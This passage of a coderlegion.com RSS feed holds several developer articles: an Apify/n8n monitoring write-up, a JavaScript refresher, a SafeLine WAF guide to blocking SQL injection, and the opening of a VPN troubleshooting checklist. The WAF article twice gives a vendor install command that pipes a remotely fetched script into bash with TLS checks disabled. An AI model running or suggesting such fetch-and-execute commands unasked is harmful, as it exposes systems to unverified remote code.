&lt;h3 id=&quot;mcp-proved-the-information-boundary-n8n-owns-the-recurring-state&quot;&gt;MCP proved the information boundary; n8n owns the recurring state&lt;/h3&gt;
&lt;p&gt;The two caller paths in this project are intentionally separate:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The experiment used an AI client and the Apify MCP server to test what could be determined with and without prior state.&lt;/li&gt;
&lt;li&gt;The recurring implementation uses n8n and Apify’s synchronous REST endpoint to fetch dataset items, compare them with n8n workflow state, and emit candidates.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They call the same Actor, but they are not one combined MCP-to-n8n pipeline.&lt;/p&gt;
&lt;p&gt;In n8n, the HTTP Request node calls:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;POST https://api.apify.com/v2/acts/{ACTOR_ID}/run-sync-get-dataset-items
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Apify API documents this endpoint as running an Actor synchronously and returning its dataset items. Store the Apify API token in an n8n Bearer Auth credential; do not paste it into the workflow JSON.&lt;/p&gt;
&lt;h3 id=&quot;what-i-verified&quot;&gt;What I verified&lt;/h3&gt;
&lt;p&gt;The corrected companion package includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a dependency-free comparator with &lt;strong&gt;23 deterministic tests&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;an importable n8n workflow whose embedded state engine has &lt;strong&gt;11 deterministic tests&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;a fail-closed state schema;&lt;/li&gt;
&lt;li&gt;first-run baseline suppression;&lt;/li&gt;
&lt;li&gt;per-channel state partitions;&lt;/li&gt;
&lt;li&gt;duplicate prevention across triggered runs; and&lt;/li&gt;
&lt;li&gt;saturation reporting based on the raw response count.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also retained &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/bgyeth/apify-mcp-durable-state-companion/blob/main/n8n-execution-evidence.md&quot;&gt;two successful triggered n8n executions&lt;/a&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Execution &lt;/th&gt;&lt;th&gt;Result&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;First triggered run &lt;/td&gt;&lt;td&gt;Created independent baselines for two channels; zero notification candidates&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Second triggered run &lt;/td&gt;&lt;td&gt;Reused the persisted state; all ten returned IDs were already seen&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The second execution reading the first execution’s state is the important result. It demonstrates persistence across triggered production runs rather than only inside one editor session.&lt;/p&gt;
&lt;h3 id=&quot;what-i-did-not-verify&quot;&gt;What I did not verify&lt;/h3&gt;
&lt;p&gt;The evidence has limits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No genuinely new live Telegram ID appeared during the retained runs. The positive new-ID path is covered by deterministic constructed tests.&lt;/li&gt;
&lt;li&gt;The corrected public workflow stops at notification candidates; Telegram delivery is intentionally disabled and untested.&lt;/li&gt;
&lt;li&gt;Every observed result window reached the configured limit of five, so the experiment does not establish catch-up completeness.&lt;/li&gt;
&lt;li&gt;n8n workflow static data was tested only with small state and serialized executions.&lt;/li&gt;
&lt;li&gt;The MCP experiment and n8n workflow ran at different times and are not a one-variable performance benchmark.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Those boundaries do not weaken the state contract. They define exactly what the implementation proves—and what the next production test must cover.&lt;/p&gt;
&lt;h3 id=&quot;the-checklist-i-now-use-for-every-scheduled-actor&quot;&gt;The checklist I now use for every scheduled Actor&lt;/h3&gt;
&lt;p&gt;Before turning any recurring Actor call into a monitor, I answer these questions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;What is the stable identity?&lt;/strong&gt; Partition it by source, tenant, channel, or account where necessary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Which fields are mutable?&lt;/strong&gt; Keep them out of identity unless change detection is explicitly the goal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Where does the baseline live?&lt;/strong&gt; Give one layer clear ownership.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What happens on the first non-empty run?&lt;/strong&gt; Baseline or alert—never accidental behavior.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What happens when state is missing or malformed?&lt;/strong&gt; Fail closed instead of replaying history.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Can the polling window saturate?&lt;/strong&gt; Surface that condition before deduplication.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What does absence mean?&lt;/strong&gt; In a capped window, it does not prove deletion.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Can executions overlap?&lt;/strong&gt; If yes, use storage with explicit concurrency guarantees.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A scheduled scraper repeatedly tells you what exists. A monitor tells you what changed without inventing certainty, replaying old records, or hiding gaps.&lt;/p&gt;
&lt;p&gt;The difference is not another API call. It is a state contract.&lt;/p&gt;
&lt;h3 id=&quot;resources&quot;&gt;Resources&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://apify.com/bgy_1203/telegram-public-channel-monitor&quot;&gt;Telegram Public Channel Monitor Actor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.apify.com/platform/integrations/mcp&quot;&gt;Apify MCP server documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.apify.com/api/v2/actor-run-sync-get-dataset-items-post&quot;&gt;Apify synchronous Actor endpoint&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.n8n.io/code/cookbook/builtin/get-workflow-static-data/&quot;&gt;n8n workflow static data documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://core.telegram.org/bots/api#message&quot;&gt;Telegram Bot API: Message&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/bgyeth/apify-mcp-durable-state-companion&quot;&gt;Tested companion repository&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;AI assistance disclosure: I used AI tools during drafting, editing, and QA. I reviewed the final article and supporting evidence and take responsibility for its claims and conclusions.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28087/a-scraper-isnt-a-monitor-detecting-new-telegram-posts-with-apify-and-n8n</guid>
<pubDate>Tue, 22 Sep 2026 02:46:31 +0000</pubDate>
</item>
<item>
<title>The Joy of Learning the Basics Again</title>
<link>https://coderlegion.com/28039/the-joy-of-learning-the-basics-again</link>
<description>&lt;p&gt;I’ve been revisiting JavaScript recently.&lt;/p&gt;
&lt;p&gt;Not because I’ve never used it before, but because I realised there were a lot of things I could recognise when I saw them in code without feeling fully confident that I understood them properly.&lt;/p&gt;
&lt;p&gt;That distinction started bothering me.&lt;/p&gt;
&lt;p&gt;I could read JavaScript.&lt;/p&gt;
&lt;p&gt;I could follow what was happening.&lt;/p&gt;
&lt;p&gt;But being able to look at code and understand it is not always the same as being able to sit down with a blank file and write it confidently yourself.&lt;/p&gt;
&lt;p&gt;So I decided to go back to the basics.&lt;/p&gt;
&lt;p&gt;And weirdly enough, I’ve been enjoying it a lot more than I expected.&lt;/p&gt;
&lt;p&gt;There’s something satisfying about revisiting something familiar and realising you understand it differently the second time around.&lt;/p&gt;
&lt;h3 id=&quot;starting-from-the-beginning-again&quot;&gt;Starting from the beginning again&lt;/h3&gt;
&lt;p&gt;I started with things like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const userName = &quot;Sabi&quot;;
const role = &quot;admin&quot;;
let postCount = 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Very basic stuff.&lt;/p&gt;
&lt;p&gt;At first, part of me wanted to rush through it because I already knew what &lt;code&gt;const&lt;/code&gt; and &lt;code&gt;let&lt;/code&gt; were.&lt;/p&gt;
&lt;p&gt;But slowing down actually helped.&lt;/p&gt;
&lt;p&gt;Instead of just remembering that &lt;code&gt;let&lt;/code&gt; can be reassigned and &lt;code&gt;const&lt;/code&gt; cannot, I started thinking more deliberately about why I would choose one over the other.&lt;/p&gt;
&lt;p&gt;That set the tone for the rest of the refresher.&lt;/p&gt;
&lt;p&gt;I wasn’t just trying to remember syntax.&lt;/p&gt;
&lt;p&gt;I wanted the concepts to actually make sense.&lt;/p&gt;
&lt;h3 id=&quot;functions-exposed-a-few-gaps&quot;&gt;Functions exposed a few gaps&lt;/h3&gt;
&lt;p&gt;Functions were another area where I thought I was already comfortable.&lt;/p&gt;
&lt;p&gt;Then I started paying more attention to the smaller details.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function checkAccess(role) {
    return role === &quot;admin&quot;;
}

checkAccess(&quot;admin&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;role&lt;/code&gt; is the parameter.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&quot;admin&quot;&lt;/code&gt; is the argument.&lt;/p&gt;
&lt;p&gt;Simple distinction, but it reminded me how easy it is to skip over small concepts because you’ve seen them so many times.&lt;/p&gt;
&lt;p&gt;Those gaps add up.&lt;/p&gt;
&lt;h3 id=&quot;arrays-were-where-things-started-getting-more-interesting&quot;&gt;Arrays were where things started getting more interesting&lt;/h3&gt;
&lt;p&gt;I revisited arrays and loops, then moved into:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;map()
filter()
find()
some()
every()
reduce()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These are methods I’ve seen and used before, but going through them one by one made the differences much clearer.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const users = [
    { name: &quot;Sabi&quot;, role: &quot;admin&quot; },
    { name: &quot;Kong&quot;, role: &quot;member&quot; },
    { name: &quot;Vandal&quot;, role: &quot;member&quot; }
];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To get all admins:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const admins = users.filter(
    (user) =&amp;gt; user.role === &quot;admin&quot;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To get one particular user:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const user = users.find(
    (user) =&amp;gt; user.name === &quot;Vandal&quot;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same array.&lt;/p&gt;
&lt;p&gt;Different intention.&lt;/p&gt;
&lt;p&gt;That sounds obvious, but writing these things myself made them stick much better than just reading examples.&lt;/p&gt;
&lt;h3 id=&quot;i-had-been-using-callbacks-without-really-thinking-about-them&quot;&gt;I had been using callbacks without really thinking about them&lt;/h3&gt;
&lt;p&gt;This was one of the more useful moments.&lt;/p&gt;
&lt;p&gt;Something like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;users.filter((user) =&amp;gt; user.role === &quot;admin&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;looks completely normal.&lt;/p&gt;
&lt;p&gt;But that function inside &lt;code&gt;filter()&lt;/code&gt; is a callback.&lt;/p&gt;
&lt;p&gt;When I recreated the idea manually:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function welcomeUser(name) {
    console.log(`Welcome, ${name}`);
}

function welcomeUsers(users, callback) {
    for (let i = 0; i &amp;lt; users.length; i++) {
        callback(users[i]);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;it clicked more clearly.&lt;/p&gt;
&lt;p&gt;A callback stopped sounding like some special JavaScript concept.&lt;/p&gt;
&lt;p&gt;It was just a function being passed into another function so it could be called later.&lt;/p&gt;
&lt;p&gt;Sometimes understanding something is really just removing the fancy name from it.&lt;/p&gt;
&lt;h3 id=&quot;destructuring-finally-stopped-feeling-like-magic&quot;&gt;Destructuring finally stopped feeling like magic&lt;/h3&gt;
&lt;p&gt;I’ve used destructuring plenty of times before:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const { name, role } = user;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const [firstUser, secondUser] = users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But during the refresher, I actually made a mistake and tried to destructure an array using &lt;code&gt;{}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That was useful.&lt;/p&gt;
&lt;p&gt;It forced me to think about what JavaScript was actually doing.&lt;/p&gt;
&lt;p&gt;Objects:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const { name, role } = user;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Arrays:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const [firstUser, secondUser] = users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Objects are matched by property name.&lt;/p&gt;
&lt;p&gt;Arrays are matched by position.&lt;/p&gt;
&lt;p&gt;That mistake probably taught me more than just reading the correct syntax would have.&lt;/p&gt;
&lt;h3 id=&quot;spread-and-rest-made-more-sense-this-time&quot;&gt;Spread and rest made more sense this time&lt;/h3&gt;
&lt;p&gt;Then came spread:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const updatedUsers = [...users, &quot;Efo&quot;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const updatedUser = {
    ...user,
    role: &quot;admin&quot;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I’d seen this syntax countless times before.&lt;/p&gt;
&lt;p&gt;But revisiting it properly made the logic much clearer.&lt;/p&gt;
&lt;p&gt;Spread takes existing values and spreads them into a new structure.&lt;/p&gt;
&lt;p&gt;Rest uses the same &lt;code&gt;...&lt;/code&gt; but collects values:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function addUsers(...users) {
    return users;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The way I remember it now is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Spread = spread things out

Rest = gather things together
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Simple, but it works.&lt;/p&gt;
&lt;h3 id=&quot;async-javascript-was-probably-the-most-important-part&quot;&gt;Async JavaScript was probably the most important part&lt;/h3&gt;
&lt;p&gt;Promises and &lt;code&gt;async/await&lt;/code&gt; were where the refresher became much more valuable.&lt;/p&gt;
&lt;p&gt;I created a Promise like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const getUsers = new Promise((resolve, reject) =&amp;gt; {
    setTimeout(() =&amp;gt; {
        resolve([
            { name: &quot;Sabi&quot;, role: &quot;admin&quot; },
            { name: &quot;Kong&quot;, role: &quot;member&quot; }
        ]);
    }, 5000);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then worked with &lt;code&gt;.then()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;getUsers
    .then((users) =&amp;gt; {
        return users.filter(
            (user) =&amp;gt; user.role === &quot;member&quot;
        );
    })
    .then((members) =&amp;gt; {
        return members.map(
            (member) =&amp;gt; member.name
        );
    })
    .then((names) =&amp;gt; {
        console.log(names);
    });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One thing that stood out here was the difference between logging and returning.&lt;/p&gt;
&lt;p&gt;This:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;console.log(users);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;shows me something.&lt;/p&gt;
&lt;p&gt;This:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;return users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;passes the value forward so another part of the program can use it.&lt;/p&gt;
&lt;p&gt;I knew that already in isolation, but Promise chaining made the difference feel much more important.&lt;/p&gt;
&lt;h3 id=&quot;async-await-made-everything-easier-to-reason-about&quot;&gt;&lt;code&gt;async/await&lt;/code&gt; made everything easier to reason about&lt;/h3&gt;
&lt;p&gt;Once I moved from &lt;code&gt;.then()&lt;/code&gt; to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;async function showUsers() {
    try {
        const users = await getUsers;

        const members = users.filter(
            (user) =&amp;gt; user.role === &quot;member&quot;
        );

        const names = members.map(
            (member) =&amp;gt; member.name
        );

        console.log(names);
    } catch (error) {
        console.log(error.message);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;the flow became much easier to read.&lt;/p&gt;
&lt;p&gt;I also finally got a stronger understanding of what &lt;code&gt;await&lt;/code&gt; actually does.&lt;/p&gt;
&lt;p&gt;It pauses the current async function.&lt;/p&gt;
&lt;p&gt;It does not pause the entire JavaScript program.&lt;/p&gt;
&lt;p&gt;That distinction made async code feel a lot less mysterious.&lt;/p&gt;
&lt;h3 id=&quot;fetch-tied-everything-together&quot;&gt;Fetch tied everything together&lt;/h3&gt;
&lt;p&gt;Then I moved into &lt;code&gt;fetch()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const response = await fetch(
    &quot;https://jsonplaceholder.typicode.com/users&quot;
);

if (!response.ok) {
    throw new Error(&quot;Failed to fetch users&quot;);
}

const users = await response.json();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This was probably the point where the refresher stopped feeling like a list of separate JavaScript topics.&lt;/p&gt;
&lt;p&gt;Suddenly everything connected:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;functions
↓
Promises
↓
async/await
↓
HTTP
↓
fetch
↓
JSON
↓
arrays
↓
map / filter / find
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That was one of the biggest things I took away from the whole process.&lt;/p&gt;
&lt;p&gt;The concepts make much more sense when they stop being separate chapters and start working together.&lt;/p&gt;
&lt;h3 id=&quot;modules-were-a-good-place-to-finish&quot;&gt;Modules were a good place to finish&lt;/h3&gt;
&lt;p&gt;The final part of the refresher was modules.&lt;/p&gt;
&lt;p&gt;I practised exporting functions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;export function findUser(users, name) {
    return users.find(
        (user) =&amp;gt; user.name === name
    );
}

export function getAdmins(users) {
    return users.filter(
        (user) =&amp;gt; user.role === &quot;admin&quot;
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and importing them somewhere else:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import {
    findUser,
    getAdmins
} from &quot;./users.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also revisited the difference between named exports and default exports.&lt;/p&gt;
&lt;p&gt;Named:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;export function findUser() {}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { findUser } from &quot;./users.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Default:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;export default function UserProfile() {}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import UserProfile from &quot;./UserProfile.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is something I’ve seen constantly in modern JavaScript code, but going back to the fundamentals made it feel much less like framework magic.&lt;/p&gt;
&lt;h3 id=&quot;the-main-thing-i-realised&quot;&gt;The main thing I realised&lt;/h3&gt;
&lt;p&gt;The biggest takeaway from this refresher wasn’t any one JavaScript feature.&lt;/p&gt;
&lt;p&gt;It was realising how easy it is to confuse familiarity with understanding.&lt;/p&gt;
&lt;p&gt;You can see something a hundred times and still have gaps.&lt;/p&gt;
&lt;p&gt;You can recognise code without being able to write it confidently.&lt;/p&gt;
&lt;p&gt;You can use a pattern without fully understanding why it works.&lt;/p&gt;
&lt;p&gt;That was the whole reason I went back.&lt;/p&gt;
&lt;p&gt;Not to become a JavaScript expert before moving on.&lt;/p&gt;
&lt;p&gt;Just to make the foundation stronger.&lt;/p&gt;
&lt;p&gt;And somewhere along the way, I started enjoying the process more than I expected.&lt;/p&gt;
&lt;p&gt;There’s a different kind of confidence that comes from understanding the basics properly.&lt;/p&gt;
&lt;p&gt;Not the confidence of knowing everything.&lt;/p&gt;
&lt;p&gt;Just the confidence of knowing what you’re standing on.&lt;/p&gt;
&lt;p&gt;So far I’ve revisited:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;variables and data types&lt;/li&gt;
&lt;li&gt;operators and conditionals&lt;/li&gt;
&lt;li&gt;functions and scope&lt;/li&gt;
&lt;li&gt;arrays and loops&lt;/li&gt;
&lt;li&gt;&lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, &lt;code&gt;some&lt;/code&gt;, &lt;code&gt;every&lt;/code&gt; and &lt;code&gt;reduce&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;objects&lt;/li&gt;
&lt;li&gt;destructuring&lt;/li&gt;
&lt;li&gt;spread and rest&lt;/li&gt;
&lt;li&gt;callbacks&lt;/li&gt;
&lt;li&gt;error handling&lt;/li&gt;
&lt;li&gt;Promises&lt;/li&gt;
&lt;li&gt;&lt;code&gt;async/await&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;HTTP and &lt;code&gt;fetch&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;modules&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And I actually feel better for slowing down.&lt;/p&gt;
&lt;p&gt;Next for me is TypeScript.&lt;/p&gt;
&lt;p&gt;But this time, I’m moving forward with a much clearer understanding of the JavaScript underneath it.&lt;/p&gt;
&lt;p&gt;Sometimes going back isn’t really going backwards.&lt;/p&gt;
&lt;p&gt;Sometimes it’s just the fastest way to stop building on shaky ground.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28039/the-joy-of-learning-the-basics-again</guid>
<pubDate>Tue, 22 Sep 2026 01:31:57 +0000</pubDate>
</item>
<item>
<title>How to Block SQL Injection with SafeLine WAF</title>
<link>https://coderlegion.com/27872/how-to-block-sql-injection-with-safeline-waf</link>
<description>&lt;h2 id=&quot;how-to-block-sql-injection-with-safeline-waf&quot;&gt;How to Block SQL Injection with SafeLine WAF&lt;/h2&gt;
&lt;p&gt;SQL injection is still one of the most damaging web attacks: a single unescaped input field can let an attacker bypass login, read your entire database, or run commands on the server. SafeLine blocks it at the edge — before the request ever reaches your database-backed app.&lt;/p&gt;
&lt;h3 id=&quot;why-signature-lists-fall-short&quot;&gt;Why signature lists fall short&lt;/h3&gt;
&lt;p&gt;Traditional WAFs match attack strings against a rule list. Attackers dodge those with obfuscation, encoding, and comment tricks. SafeLine instead uses a &lt;strong&gt;semantic-analysis engine&lt;/strong&gt; that parses the actual SQL intent of a parameter. If a value parses as a malicious SQL fragment, it's blocked — regardless of how it's disguised.&lt;/p&gt;
&lt;h3 id=&quot;step-1-put-safeline-in-front-of-the-app&quot;&gt;Step 1 — Put SafeLine in front of the app&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SafeLine runs as a container and acts as a reverse proxy. Add your app as the upstream in the console at &lt;code&gt;https://&amp;lt;safeline-ip&amp;gt;:9443&lt;/code&gt; (the database-backed site you want to protect).&lt;/p&gt;
&lt;h3 id=&quot;step-2-let-it-inspect&quot;&gt;Step 2 — Let it inspect&lt;/h3&gt;
&lt;p&gt;SafeLine inspects parameters across the request: URL query strings, POST bodies, headers, and cookies. For each parameter it checks whether the value carries SQL intent. If it does, the request is blocked and logged — no rule tuning required out of the box.&lt;/p&gt;
&lt;p&gt;This covers the common SQLi families: UNION-based, boolean-based blind, time-based blind, and stacked queries.&lt;/p&gt;
&lt;h3 id=&quot;step-3-handle-false-positives&quot;&gt;Step 3 — Handle false positives&lt;/h3&gt;
&lt;p&gt;If a legitimate feature sends SQL-like text (a search box that accepts raw queries, for example), add a whitelist rule for that specific parameter or path rather than disabling protection globally.&lt;/p&gt;
&lt;h3 id=&quot;what-you-get-in-the-dashboard&quot;&gt;What you get in the dashboard&lt;/h3&gt;
&lt;p&gt;The console shows each blocked attempt with the offending payload and source IP, so you can see attack patterns (and confirm legit traffic flows through).&lt;/p&gt;
&lt;h3 id=&quot;faq-8&quot;&gt;FAQ&lt;/h3&gt;
&lt;h4 id=&quot;does-safeline-need-database-access-&quot;&gt;Does SafeLine need database access?&lt;/h4&gt;
&lt;p&gt;No. It works at the HTTP layer, inspecting request parameters — it never touches your database directly.&lt;/p&gt;
&lt;h4 id=&quot;does-this-replace-parameterized-queries-&quot;&gt;Does this replace parameterized queries?&lt;/h4&gt;
&lt;p&gt;No. Parameterized queries are still the first line of defense; SafeLine is the edge safety net for the cases you miss.&lt;/p&gt;
&lt;h4 id=&quot;does-it-need-tuning-to-catch-new-attack-variants-&quot;&gt;Does it need tuning to catch new attack variants?&lt;/h4&gt;
&lt;p&gt;The semantic engine generalizes, so it catches obfuscated variants without waiting for a signature update.&lt;/p&gt;
&lt;h4 id=&quot;free-tier--1&quot;&gt;Free tier?&lt;/h4&gt;
&lt;p&gt;The Community Edition covers 10 apps at 800 QPS for free.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;That's it — SQL injection attempts now get stopped at the edge, before they reach your database.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;⭐ &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/chaitin/SafeLine&quot;&gt;SafeLine WAF on GitHub&lt;/a&gt; — give it a star if you find it useful&lt;/li&gt;
&lt;li&gt;🔗 &lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.waf.chaitin.com/en/home&quot;&gt;Official Docs&lt;/a&gt; — installation guide, configuration, and API reference&lt;/li&gt;
&lt;li&gt;🧪 &lt;a rel=&quot;nofollow&quot; href=&quot;https://demo.waf.chaitin.com:9443/statistics&quot;&gt;Live Demo&lt;/a&gt; — see the dashboard in action (no login required)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deploy it in minutes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27872/how-to-block-sql-injection-with-safeline-waf</guid>
<pubDate>Mon, 21 Sep 2026 02:28:00 +0000</pubDate>
</item>
<item>
<title>Before You Ask for VPN Help: Record the Stage, Status, and Timeline</title>
<link>https://coderlegion.com/27816/before-you-ask-for-vpn-help-record-the-stage-status-and-timeline</link>
<description>&lt;p&gt;Before trying another fix, record the last successful setup stage, the exact status, and the timing. A small, controlled problem report is more useful than a list of unrelated changes.&lt;/p&gt;
&lt;p&gt;By Mohammad Hesameddin Montazerilisar, who writes technical guidance for Lisar Connect. Edited with AI assistance from the author's &lt;a rel=&quot;nofollow&quot; href=&quot;https://lisar.io/articles/record-vpn-problem-before-asking-help&quot;&gt;original article&lt;/a&gt;, published July 10, 2026 and updated July 11, 2026. The substantive guidance comes from that human-authored source.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cover illustration: A blue illustration shows a laptop with a VPN warning and a broken connection path. Beside it, linked icons represent notes, a screenshot, a clock, and a report; a checklist notebook sits in front. This is conceptual artwork, not a live interface or test result. Existing source artwork, potentially AI-generated; the original creation method is unverified.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;identify-the-last-step-that-worked&quot;&gt;Identify the last step that worked&lt;/h2&gt;
&lt;p&gt;“VPN not working” describes an outcome, but it does not show where the process stopped. Separate downloading the profile, importing it, approving the device permission, connecting, and using the connection.&lt;/p&gt;
&lt;p&gt;Record the last stage you can confirm:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The profile file downloaded.&lt;/li&gt;
&lt;li&gt;The compatible client accepted the file.&lt;/li&gt;
&lt;li&gt;The profile was imported or saved.&lt;/li&gt;
&lt;li&gt;The operating system allowed the VPN configuration.&lt;/li&gt;
&lt;li&gt;The client attempted to connect.&lt;/li&gt;
&lt;li&gt;The client showed an active connection.&lt;/li&gt;
&lt;li&gt;Internet access and the expected services worked after connection.&lt;/li&gt;
&lt;/ol&gt;
